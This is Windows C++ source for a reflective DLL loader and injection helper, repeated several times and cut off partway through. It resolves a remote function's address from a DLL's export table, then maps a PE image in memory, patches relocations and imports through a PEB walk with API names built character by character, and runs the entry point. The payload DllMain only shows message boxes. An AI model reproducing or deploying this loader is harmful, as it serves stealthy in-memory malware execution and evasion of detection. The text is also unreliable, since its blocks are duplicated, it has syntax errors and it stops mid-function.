    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset);

    DWORD pRNames = pExportDir->AddressOfNames;

    DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);

    DWORD* pNames = (DWORD*)((BYTE*)pBuf + pFNames);

    DWORD pRFunctions = pExportDir->AddressOfFunctions;

    DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);

    DWORD* pFunctions = (DWORD*)((BYTE*)pBuf + pFFunctions);

    WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals;

    WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);

    WORD* pNameOrdinals = (WORD*)((BYTE*)pBuf + pFFunctions);

    DWORD funcRVA = 0;

    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {

        DWORD functionNameRVA = pNames[i];

        DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);

        const char* pName = (char*)((BYTE*)pBuf + functionNameFileOffset);

        if (strcmp(pName, funcName) == 0) {

            funcRVA = pFunctions[i];

            break;

        }

    }

    if (funcRVA == 0) {

        printf("\n[-] Function %s not found.", funcName);

        return NULL;

    }

    DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;

    DWORD* pfileOffset = (DWORD*)((BYTE*)pBuf + fileOffset);

    if (fileOffset == 0) {

        printf("\n[-] Failed to convert RVA to file offset.");

        return NULL;

    }

    LPVOID remoteFuncAddr = (LPBYTE)pDll + fileOffset;

    return remoteFuncAddr;

}

LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf) {

    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;

    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew);

    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeaders + sizeof(IMAGE_NT_HEADERS));

    DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;

    DWORD exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;

    DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeaders, pSec);

    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset);

    DWORD pRNames = pExportDir->AddressOfNames;

    DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);

    DWORD* pNames = (DWORD*)((BYTE*)pBuf + pFNames);

    DWORD pRFunctions = pExportDir->AddressOfFunctions;

    DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);

    DWORD* pFunctions = (DWORD*)((BYTE*)pBuf + pFFunctions);

    WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals;

    WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);

    WORD* pNameOrdinals = (WORD*)((BYTE*)pBuf + pFFunctions);

    DWORD funcRVA = 0;

    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {

        DWORD functionNameRVA = pNames[i];

        DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);

        const char* pName = (char*)((BYTE*)pBuf + functionNameFileOffset);

        if (strcmp(pName, funcName) == 0) {

            funcRVA = pFunctions[i];

            break;

        }

    }

    if (funcRVA == 0) {

        printf("\n[-] Function %s not found.", funcName);

        return NULL;

    }

    DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;

    DWORD* pfileOffset = (DWORD*)((BYTE*)pBuf + fileOffset);

    if (fileOffset == 0) {

        printf("\n[-] Failed to convert RVA to file offset.");

        return NULL;

    }

    LPVOID remoteFuncAddr = (LPBYTE)pDll + fileOffset;

    return remoteFuncAddr;

}

DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {

    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {

        if (rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {

            return pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);

        }

    }

    return 0xFFFFFFFF;

}

DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {

    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {

        if (rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {

            return pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);

        }

    }

    return 0xFFFFFFFF;

}

#include "pch.h"

#include <windows.h>

#include<stdio.h>

#include <stdbool.h>

#include <winternl.h>

extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll);

int CompareDllName(wchar_t* dllName, wchar_t* targetDllName);

wchar_t* ExtractDllName(const wchar_t* fullDllName);

void my_wctomb(char* dest, const wchar_t* src);

int CompareStrings(const char* str1, const char* str2);

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)

{

    MessageBox(NULL, L"哇塞!!你成功啦!!!", L"注入程序检测中...", MB_YESNO | MB_ICONASTERISK);

    char processName[MAX_PATH] = { 0 };

    DWORD length = GetModuleFileNameA(NULL, processName, MAX_PATH);

    MessageBoxA(NULL, processName, "当前进程路径: ", MB_YESNO | MB_ICONASTERISK);

    Sleep(99999999);

    return TRUE;

}

void my_wctomb(char* dest, const wchar_t* src) {

    while (*src) {

        if (*src >= L'A' && *src <= L'Z') {

            *dest = (char)(*src + (L'a' - L'A')); 

        }

        else if (*src >= L'a' && *src <= L'z') {

            *dest = (char)*src; 

        }

        else if (*src >= L'0' && *src <= L'9') {

            *dest = (char)*src; 

        }

        else {

            *dest = '?'

        }

        dest++;

        src++;

    }

    *dest = '\0'

}

int CompareStrings(const char* str1, const char* str2) {

    while (*str2 != '\0') {

        if (*str1 != *str2) {

            return 0;

        }

        str1++;

        str2++;

    }

    return 1;

}

int CompareDllName(wchar_t* dllName, wchar_t* targetDllName) {

    size_t i = 0;

    while (dllName[i] != L'\0' || targetDllName[i] != L'\0') {

        wchar_t ch1 = (dllName[i] >= L'A' && dllName[i] <= L'Z') ? dllName[i] + (L'a' - L'A') : dllName[i];

        wchar_t ch2 = (targetDllName[i] >= L'A' && targetDllName[i] <= L'Z') ? targetDllName[i] + (L'a' - L'A') : targetDllName[i];

        if (ch1 != ch2) {

            return 0;

        }

        i++;

    }

    return 1; 

}

wchar_t* ExtractDllName(const wchar_t* fullDllName) {

    wchar_t* fileName = NULL;

    wchar_t* temp = (wchar_t*)fullDllName;

    while (*temp) {

        if (*temp == L'\\') {

            fileName = temp + 1; 

        }

        temp++;

    }

    if (!fileName) {

        fileName = (wchar_t*)fullDllName;

    }

    return fileName;

}

extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll)

{

    PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;                            

    PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew);

    DWORD ImageSize = pNTheader->OptionalHeader.SizeOfImage; 

    PBYTE pAlloc = (PBYTE)((ULONG_PTR)pDll + ImageSize);

    if (pAlloc == NULL) return FALSE;

    if (pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE) return FALSE; 

    BYTE* dst = (BYTE*)pAlloc;              

    BYTE* src = (BYTE*)pDll;                

    size_t size = pNTheader->OptionalHeader.SizeOfHeaders;

    for (size_t i = 0; i < size; ++i) {

        dst[i] = src[i];                    

    }

    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNTheader + sizeof(IMAGE_NT_HEADERS));

    DWORD SecNum = pNTheader->FileHeader.NumberOfSections;

    for (int i = 0; i < SecNum; i++) {

        if (pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {

            pSec++;

            continue;

        }

        char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSec->PointerToRawData));

        char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSec->VirtualAddress));

        DWORD dwSizeOfRawData = pSec->SizeOfRawData;

        DWORD dwVirtualSize = pSec->Misc.VirtualSize;

        for (DWORD j = 0; j < dwSizeOfRawData; j++) {

            chDestMem[j] = chSrcMem[j];

        }

        if (dwVirtualSize > dwSizeOfRawData) {

            char* start = chDestMem + dwSizeOfRawData;

            char* end = chDestMem + dwVirtualSize;

            while (start < end) {

                *start++ = 0;

            }

        }

        pSec++;

    }

    PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc);

    int SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;

    if (pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)

    {

        do {

            PWORD TypeOffset = (WORD*)((PBYTE)pBaseReloc + 8);         

            int num = (pBaseReloc->SizeOfBlock - 8) / 2;               

            for (int i = 0; i < num; i++)

            {

                WORD type = TypeOffset[i] >> 12;                       

                WORD offset = TypeOffset[i] & 0x0FFF;                  

                int differ = 0;

                if (type == 3)

                {

                    differ = *((ULONG_PTR*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;

                    ULONG_PTR p = (ULONG_PTR)pAlloc + differ;

                    char* tagetaddr = (char*)(ULONG_PTR)pAlloc + offset + pBaseReloc->VirtualAddress;

                    char* fromeaddr = (char*)p;

                    for (int c = 0;c < 4;c++) {

                        tagetaddr[c] = fromeaddr[c];

                    }

                }

            }

            SizeOfBaseReloc -= pBaseReloc->SizeOfBlock;                

            pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock);

        } while (SizeOfBaseReloc);

    }

    typedef FARPROC(WINAPI* GETPROCADDR)(HMODULE, LPCSTR);

    typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);

    GETPROCADDR pGetProcAddress = NULL;

    LOADLIBRARYA pLoadLibraryA = NULL;

    PTEB pTEB = (PTEB)__readgsqword(0x30);

    PPEB pPEB = pTEB->ProcessEnvironmentBlock;

    PPEB_LDR_DATA pLdr = pPEB->Ldr;

    PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;

    PLIST_ENTRY pCurrentEntry = pListHead->Flink;

    while (pCurrentEntry && pCurrentEntry != pListHead)

    {

        PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

        if (pEntry && pEntry->FullDllName.Buffer)

        {

            wchar_t* dllName = pEntry->FullDllName.Buffer;

            wchar_t* fileName = ExtractDllName(dllName);

            wchar_t a[50] = { 0 };

            a[0] = L'k';

            a[1] = L'e';

            a[2] = L'r';

            a[3] = L'n';

            a[4] = L'e';

            a[5] = L'l';

            a[6] = L'3';

            a[7] = L'2';

            a[8] = L'.';

            a[9] = L'd';

            a[10] = L'l';

            a[11] = L'l';

            a[12] = L'\0';

            if (CompareDllName(fileName, a)) {

                HMODULE hKernel32 = (HMODULE)pEntry->DllBase;

                PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew);

                PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

                DWORD* pFunctionNames = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNames);

                DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfFunctions);

                WORD* pFunctionOrdinals = (WORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNameOrdinals);

                char targetName1[50] = "LoadLibraryA";

                targetName1[0] = 'L';

                targetName1[1] = 'o';

                targetName1[2] = 'a';

                targetName1[3] = 'd';

                targetName1[4] = 'L';

                targetName1[5] = 'i';

                targetName1[6] = 'b';

                targetName1[7] = 'r';

                targetName1[8] = 'a';

                targetName1[9] = 'r';

                targetName1[10] = 'y';

                targetName1[11] = 'A';

                targetName1[12] = '\0';

                char targetName2[50] = { 0 };

                targetName2[0] = 'G';

                targetName2[1] = 'e';

                targetName2[2] = 't';

                targetName2[3] = 'P';

                targetName2[4] = 'r';

                targetName2[5] = 'o';

                targetName2[6] = 'c';

                targetName2[7] = 'A';

                targetName2[8] = 'd';

                targetName2[9] = 'd';

                targetName2[10] = 'r';

                targetName2[11] = 'e';

                targetName2[12] = 's';

                targetName2[13] = 's';

                targetName2[14] = '\0';

                int isP = 0;

                for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {

                    char* functionName = (char*)((BYTE*)hKernel32 + pFunctionNames[i]);

                    if (CompareStrings(functionName, targetName1)) {

                        DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];

                        pLoadLibraryA = (LOADLIBRARYA)((BYTE*)hKernel32 + functionRVA);

                        isP++;

                    }

                    if (CompareStrings(functionName, targetName2)) {

                        DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];

                        pGetProcAddress = (GETPROCADDR)((BYTE*)hKernel32 + functionRVA);

                        isP++;

                    }

                    if (isP == 2) {

                        break;

                    }

                }

                break;

            }

        }

        pCurrentEntry = pCurrentEntry->Flink;

    }

    if (!pLoadLibraryA && !pGetProcAddress)

    {

        char foece[] = "无法获取 LoadLibraryA 地址,请检查目标进程模块";

        return FALSE;

    }

    else {

        char sucsess[] = "sucsess";

    }

    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);

    if (pImport != NULL)

    {

        while (pImport->Name != NULL)

        {

            char DLLname[50] = { 0 };

            char* pDLLName = (char*)(pImport->Name + pAlloc);

            for (int i = 0; i < sizeof(DLLname) - 1; i++)

            {

                if (pDLLName[i] == '\0')

                    break;

                DLLname[i] = pDLLName[i];

            }

            DLLname[sizeof(DLLname) - 1] = '\0';

            HMODULE hProcess = pLoadLibraryA(DLLname);              

            if (!hProcess)

            {

                return FALSE;

            }

            PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);

            PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);

            while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL)

            {

                PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc); 

                if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)

                {

                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));

                }

                else

                {

                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, pFucname->Name));            

                }

                pINT++;

                pIAT++;

            }

            pImport++;

        }

    }

    PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew);

    FARPROC EOP = (FARPROC)((LPBYTE)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint);

    EOP();

    return TRUE;

}

#include "pch.h"

#include <windows.h>

#include<stdio.h>

#include <stdbool.h>

#include <winternl.h>

extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll);

int CompareDllName(wchar_t* dllName, wchar_t* targetDllName);

wchar_t* ExtractDllName(const wchar_t* fullDllName);

void my_wctomb(char* dest, const wchar_t* src);

int CompareStrings(const char* str1, const char* str2);

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)

{

    MessageBox(NULL, L"哇塞!!你成功啦!!!", L"注入程序检测中...", MB_YESNO | MB_ICONASTERISK);

    char processName[MAX_PATH] = { 0 };

    DWORD length = GetModuleFileNameA(NULL, processName, MAX_PATH);

    MessageBoxA(NULL, processName, "当前进程路径: ", MB_YESNO | MB_ICONASTERISK);

    Sleep(99999999);

    return TRUE;

}

void my_wctomb(char* dest, const wchar_t* src) {

    while (*src) {

        if (*src >= L'A' && *src <= L'Z') {

            *dest = (char)(*src + (L'a' - L'A')); 

        }

        else if (*src >= L'a' && *src <= L'z') {

            *dest = (char)*src; 

        }

        else if (*src >= L'0' && *src <= L'9') {

            *dest = (char)*src; 

        }

        else {

            *dest = '?'

        }

        dest++;

        src++;

    }

    *dest = '\0'

}

int CompareStrings(const char* str1, const char* str2) {

    while (*str2 != '\0') {

        if (*str1 != *str2) {

            return 0;

        }

        str1++;

        str2++;

    }

    return 1;

}

int CompareDllName(wchar_t* dllName, wchar_t* targetDllName) {

    size_t i = 0;

    while (dllName[i] != L'\0' || targetDllName[i] != L'\0') {

        wchar_t ch1 = (dllName[i] >= L'A' && dllName[i] <= L'Z') ? dllName[i] + (L'a' - L'A') : dllName[i];

        wchar_t ch2 = (targetDllName[i] >= L'A' && targetDllName[i] <= L'Z') ? targetDllName[i] + (L'a' - L'A') : targetDllName[i];

        if (ch1 != ch2) {

            return 0;

        }

        i++;

    }

    return 1; 

}

wchar_t* ExtractDllName(const wchar_t* fullDllName) {

    wchar_t* fileName = NULL;

    wchar_t* temp = (wchar_t*)fullDllName;

    while (*temp) {

        if (*temp == L'\\') {

            fileName = temp + 1; 

        }

        temp++;

    }

    if (!fileName) {

        fileName = (wchar_t*)fullDllName;

    }

    return fileName;

}

extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll)

{

    PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;                            

    PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew);

    DWORD ImageSize = pNTheader->OptionalHeader.SizeOfImage; 

    PBYTE pAlloc = (PBYTE)((ULONG_PTR)pDll + ImageSize);

    if (pAlloc == NULL) return FALSE;

    if (pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE) return FALSE; 

    BYTE* dst = (BYTE*)pAlloc;              

    BYTE* src = (BYTE*)pDll;                

    size_t size = pNTheader->OptionalHeader.SizeOfHeaders;

    for (size_t i = 0; i < size; ++i) {

        dst[i] = src[i];                    

    }

    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNTheader + sizeof(IMAGE_NT_HEADERS));

    DWORD SecNum = pNTheader->FileHeader.NumberOfSections;

    for (int i = 0; i < SecNum; i++) {

        if (pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {

            pSec++;

            continue;

        }

        char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSec->PointerToRawData));

        char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSec->VirtualAddress));

        DWORD dwSizeOfRawData = pSec->SizeOfRawData;

        DWORD dwVirtualSize = pSec->Misc.VirtualSize;

        for (DWORD j = 0; j < dwSizeOfRawData; j++) {

            chDestMem[j] = chSrcMem[j];

        }

        if (dwVirtualSize > dwSizeOfRawData) {

            char* start = chDestMem + dwSizeOfRawData;

            char* end = chDestMem + dwVirtualSize;

            while (start < end) {

                *start++ = 0;

            }

        }

        pSec++;

    }

    PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc);

    int SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;

    if (pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)

    {

        do {

            PWORD TypeOffset = (WORD*)((PBYTE)pBaseReloc + 8);         

            int num = (pBaseReloc->SizeOfBlock - 8) / 2;               

            for (int i = 0; i < num; i++)

            {

                WORD type = TypeOffset[i] >> 12;                       

                WORD offset = TypeOffset[i] & 0x0FFF;                  

                int differ = 0;

                if (type == 3)

                {

                    differ = *((ULONG_PTR*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;

                    ULONG_PTR p = (ULONG_PTR)pAlloc + differ;

                    char* tagetaddr = (char*)(ULONG_PTR)pAlloc + offset + pBaseReloc->VirtualAddress;

                    char* fromeaddr = (char*)p;

                    for (int c = 0;c < 4;c++) {

                        tagetaddr[c] = fromeaddr[c];

                    }

                }

            }

            SizeOfBaseReloc -= pBaseReloc->SizeOfBlock;                

            pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock);

        } while (SizeOfBaseReloc);

    }

    typedef FARPROC(WINAPI* GETPROCADDR)(HMODULE, LPCSTR);

    typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);

    GETPROCADDR pGetProcAddress = NULL;

    LOADLIBRARYA pLoadLibraryA = NULL;

    PTEB pTEB = (PTEB)__readgsqword(0x30);

    PPEB pPEB = pTEB->ProcessEnvironmentBlock;

    PPEB_LDR_DATA pLdr = pPEB->Ldr;

    PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;

    PLIST_ENTRY pCurrentEntry = pListHead->Flink;

    while (pCurrentEntry && pCurrentEntry != pListHead)

    {

        PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

        if (pEntry && pEntry->FullDllName.Buffer)

        {

            wchar_t* dllName = pEntry->FullDllName.Buffer;

            wchar_t* fileName = ExtractDllName(dllName);

            wchar_t a[50] = { 0 };

            a[0] = L'k';

            a[1] = L'e';

            a[2] = L'r';

            a[3] = L'n';

            a[4] = L'e';

            a[5] = L'l';

            a[6] = L'3';

            a[7] = L'2';

            a[8] = L'.';

            a[9] = L'd';

            a[10] = L'l';

            a[11] = L'l';

            a[12] = L'\0';

            if (CompareDllName(fileName, a)) {

                HMODULE hKernel32 = (HMODULE)pEntry->DllBase;

                PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew);

                PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

                DWORD* pFunctionNames = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNames);

                DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfFunctions);

                WORD* pFunctionOrdinals = (WORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNameOrdinals);

                char targetName1[50] = "LoadLibraryA";

                targetName1[0] = 'L';

                targetName1[1] = 'o';

                targetName1[2] = 'a';

                targetName1[3] = 'd';

                targetName1[4] = 'L';

                targetName1[5] = 'i';

                targetName1[6] = 'b';

                targetName1[7] = 'r';

                targetName1[8] = 'a';

                targetName1[9] = 'r';

                targetName1[10] = 'y';

                targetName1[11] = 'A';

                targetName1[12] = '\0';

                char targetName2[50] = { 0 };

                targetName2[0] = 'G';

                targetName2[1] = 'e';

                targetName2[2] = 't';

                targetName2[3] = 'P';

                targetName2[4] = 'r';

                targetName2[5] = 'o';

                targetName2[6] = 'c';

                targetName2[7] = 'A';

                targetName2[8] = 'd';

                targetName2[9] = 'd';

                targetName2[10] = 'r';

                targetName2[11] = 'e';

                targetName2[12] = 's';

                targetName2[13] = 's';

                targetName2[14] = '\0';

                int isP = 0;

                for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {

                    char* functionName = (char*)((BYTE*)hKernel32 + pFunctionNames[i]);

                    if (CompareStrings(functionName, targetName1)) {

                        DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];

                        pLoadLibraryA = (LOADLIBRARYA)((BYTE*)hKernel32 + functionRVA);

                        isP++;

                    }

                    if (CompareStrings(functionName, targetName2)) {

                        DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];

                        pGetProcAddress = (GETPROCADDR)((BYTE*)hKernel32 + functionRVA);

                        isP++;

                    }

                    if (isP == 2) {

                        break;

                    }

                }

                break;

            }

        }

        pCurrentEntry = pCurrentEntry->Flink;

    }

    if (!pLoadLibraryA && !pGetProcAddress)

    {

        char foece[] = "无法获取 LoadLibraryA 地址,请检查目标进程模块";

        return FALSE;

    }

    else {

        char sucsess[] = "sucsess";

    }

    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);

    if (pImport != NULL)

    {

        while (pImport->Name != NULL)

        {

            char DLLname[50] = { 0 };

            char* pDLLName = (char*)(pImport->Name + pAlloc);

            for (int i = 0; i < sizeof(DLLname) - 1; i++)

            {

                if (pDLLName[i] == '\0')

                    break;

                DLLname[i] = pDLLName[i];

            }

            DLLname[sizeof(DLLname) - 1] = '\0';

            HMODULE hProcess = pLoadLibraryA(DLLname);              

            if (!hProcess)

            {

                return FALSE;

            }

            PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);

            PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);

            while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL)

            {

                PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc); 

                if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)

                {

                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));

                }

                else

                {

                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, pFucname->Name));            

                }

                pINT++;

                pIAT++;

            }

            pImport++;

        }

    }

    PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew);

    FARPROC EOP = (FARPROC)((LPBYTE)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint);

    EOP();

    return TRUE;

}

#include "pch.h"

#include <windows.h>

#include<stdio.h>

#include <stdbool.h>

#include <winternl.h>

extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll);

int CompareDllName(wchar_t* dllName, wchar_t* targetDllName);

wchar_t* ExtractDllName(const wchar_t* fullDllName);

void my_wctomb(char* dest, const wchar_t* src);

int CompareStrings(const char* str1, const char* str2);

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)

{

    MessageBox(NULL, L"哇塞!!你成功啦!!!", L"注入程序检测中...", MB_YESNO | MB_ICONASTERISK);

    char processName[MAX_PATH] = { 0 };

    DWORD length = GetModuleFileNameA(NULL, processName, MAX_PATH);

    MessageBoxA(NULL, processName, "当前进程路径: ", MB_YESNO | MB_ICONASTERISK);

    Sleep(99999999);

    return TRUE;

}

void my_wctomb(char* dest, const wchar_t* src) {

    while (*src) {

        if (*src >= L'A' && *src <= L'Z') {

            *dest = (char)(*src + (L'a' - L'A')); 

        }

        else if (*src >= L'a' && *src <= L'z') {

            *dest = (char)*src; 

        }

        else if (*src >= L'0' && *src <= L'9') {

            *dest = (char)*src; 

        }

        else {

            *dest = '?'

        }

        dest++;

        src++;

    }

    *dest = '\0'

}

int CompareStrings(const char* str1, const char* str2) {

    while (*str2 != '\0') {

        if (*str1 != *str2) {

            return 0;

        }

        str1++;

        str2++;

    }

    return 1;

}

int CompareDllName(wchar_t* dllName, wchar_t* targetDllName) {

    size_t i = 0;

    while (dllName[i] != L'\0' || targetDllName[i] != L'\0') {

        wchar_t ch1 = (dllName[i] >= L'A' && dllName[i] <= L'Z') ? dllName[i] + (L'a' - L'A') : dllName[i];

        wchar_t ch2 = (targetDllName[i] >= L'A' && targetDllName[i] <= L'Z') ? targetDllName[i] + (L'a' - L'A') : targetDllName[i];

        if (ch1 != ch2) {

            return 0;

        }

        i++;

    }

    return 1; 

}

wchar_t* ExtractDllName(const wchar_t* fullDllName) {

    wchar_t* fileName = NULL;

    wchar_t* temp = (wchar_t*)fullDllName;

    while (*temp) {

        if (*temp == L'\\') {

            fileName = temp + 1; 

        }

        temp++;

    }

    if (!fileName) {

        fileName = (wchar_t*)fullDllName;

    }

    return fileName;

}

extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll)

{

    PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;                            

    PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew);

    DWORD ImageSize = pNTheader->OptionalHeader.SizeOfImage; 

    PBYTE pAlloc = (PBYTE)((ULONG_PTR)pDll + ImageSize);

    if (pAlloc == NULL) return FALSE;

